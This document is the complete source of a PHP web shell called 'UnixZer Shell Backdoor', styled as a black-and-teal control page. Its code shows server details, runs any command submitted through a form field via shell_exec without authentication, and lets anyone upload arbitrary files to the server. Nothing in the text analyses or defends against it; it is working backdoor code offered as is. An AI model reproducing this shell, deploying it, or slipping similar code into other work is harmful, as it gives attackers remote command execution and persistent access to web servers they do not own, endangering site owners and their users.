UnixZer Shell Backdoor

<head>
  <title>UnixZer Shell Backdoor</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>

  <style>
  .wkwk {
  display: inline-block;
    padding: 6px 12px;
    margin-bottom: 0;
    font-size: 14px;
    font-weight: 400;

	border:1px solid teal;
    text-align: left;
    white-space: nowrap;
  }
	body {
		background:black;
		color:teal;
	}
	textarea {
		resize:none;
	}
	input[type=file]{
		display : inline;
	}
	</style>
</head>
<body background=black>
<center>
<div class="container">
<table width=76% align=center>

  <tr>
  <td align=left><font color=lime><h2>UnixZer Shell V.1 - Original coded by synchronizer</h2><br></font></td></tr></table>


  <?php
  @ini_set('display_errors', 0);
  function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
    }
  $x = @php_uname();
  $d = showdisablefunctions().' <font color=white>on</font> <font color=teal>'.php_sapi_name().'</font>';
  $soft = getenv("SERVER_SOFTWARE");
  echo '
  <table width=76% align=center>

  <th></th>
  <th></th>
  <tr>
  <td class="wkwk" align=right><font color=white>Software  </font></td><td class="wkwk" align=left><font color=red> '.$soft.'</font></td></tr><tr>
  <td class="wkwk" align=right><font color=white>System OS  </font></td><td class="wkwk" align=left><font color=red> '.$x.'</font></td></tr>
  <tr><td class="wkwk" align=right><font color=white>Disabled  </font></td><td class="wkwk" align=left><font color=red> '.$d.'</font></td></tr>

</table>';
  ?>
  <br><br>
</div>
<div class="container">
<form  method="POST" action="">
<font color=red><b>COMMAND :</b></font>
<input type="text"  style="background:black;color:orange;" class="wkwk" size="103"  name="cmd">
</form>
<?php if(isset($_POST['cmd'])){
$data = $_POST['cmd'];
$result = shell_exec($data);
}else{
$result = shell_exec("help");
}
?>
<textarea readonly="" class="wkwk" style="background:black;color:lime;margin: 0px; width: 863px; height: 293px;">
<?php echo $result;?>
</textarea>
<br><br>
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input class="wkwk btn btn-success" type="file" name="file" size="50"> <input class="wkwk btn btn-success" name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>UPLOAD - OK</b><br><br>'; }
else { echo '<b>UPLOAD - ERROR</b><br><br>'; }
}
?>
</center>
</div>

</body>
</html>